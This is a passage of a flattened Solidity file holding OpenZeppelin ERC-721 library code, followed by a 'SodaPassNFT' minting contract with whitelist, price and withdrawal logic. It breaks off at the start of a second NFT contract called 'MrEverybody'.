}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
//SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.3;
contract SodaPassNFT is ERC721, ERC721Enumerable,ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint16 public constant maxSupply = 5100;
string private _baseTokenURI;
uint256 public _startDate = 1634850000000;
uint256 public _whitelistStartDate = 1634677200000;
mapping (address => bool) private _whitelisted;
constructor() ERC721("Soda Pass", "SODA") {
for (uint8 i = 0; i < 100; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(msg.sender, newItemId);
}
}
function setStartDate(uint256 startDate) public onlyOwner {
_startDate = startDate;
}
function setWhitelistStartDate(uint256 whitelistStartDate) public onlyOwner {
_whitelistStartDate = whitelistStartDate;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function setBaseURI(string memory _newbaseTokenURI) public onlyOwner {
_baseTokenURI = _newbaseTokenURI;
}
function _baseURI() internal view override returns (string memory) {
return _baseTokenURI;
}
// Get minting limit (for a single transaction) based on current token supply
function getCurrentMintLimit() public view returns (uint8) {
return block.timestamp >= _startDate ? 20 : 4;
}
// Get ether price based on current token supply
function getCurrentPrice() public pure returns (uint64) {
return 100_000_000_000_000_000;
}
function addUserToWhitelist(address wallet) public onlyOwner {
_whitelisted[wallet] = true;
}
function removeUserFromWhitelist(address wallet) public onlyOwner {
_whitelisted[wallet] = false;
}
// Mint new token(s)
function mint(uint8 _quantityToMint) public payable {
require(_startDate <= block.timestamp || (block.timestamp >= _whitelistStartDate && _whitelisted[msg.sender] == true), block.timestamp <= _whitelistStartDate ? "Sale is not open" : "Not whitelisted");
require(_quantityToMint >= 1, "Must mint at least 1");
require(block.timestamp >= _whitelistStartDate && block.timestamp <= _startDate ? (_quantityToMint + balanceOf(msg.sender) <= 4) : true, "Whitelisted mints are limited to 4 per wallet");
require(
_quantityToMint <= getCurrentMintLimit(),
"Maximum current buy limit for individual transaction exceeded"
);
require(
(_quantityToMint + totalSupply()) <= maxSupply,
"Exceeds maximum supply"
);
require(
msg.value == (getCurrentPrice() * _quantityToMint),
"Ether submitted does not match current price"
);
for (uint8 i = 0; i < _quantityToMint; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(msg.sender, newItemId);
}
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
return super.tokenURI(tokenId);
}
// Withdraw ether from contract
function withdraw() public onlyOwner {
require(address(this).balance > 0, "Balance must be positive");
uint256 _balance = address(this).balance;
address _coldWallet = 0x9781F65af8324b40Ee9Ca421ea963642Bc8a8C2b;
payable(_coldWallet).transfer((_balance * 9)/10);
address _devWallet = 0x3097617CbA85A26AdC214A1F87B680bE4b275cD0;
payable(_devWallet).transfer((_balance * 1)/10);
}
}
pragma solidity 0.8.3;
contract MrEverybody is ERC721, ERC721Enumerable,ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter public _tokenIds;
uint16 public constant maxSupply = 1052;
string private _baseTokenURI;
uint256 public _startDate; // start
uint256 public _next48hour = 172800; // 172800 48 hours
uint256 public _next24hour = 86400; // 86400 24 hour
uint256 public _privateSalePrice = 6E16; // 6E16 0.06 ETH per NFT
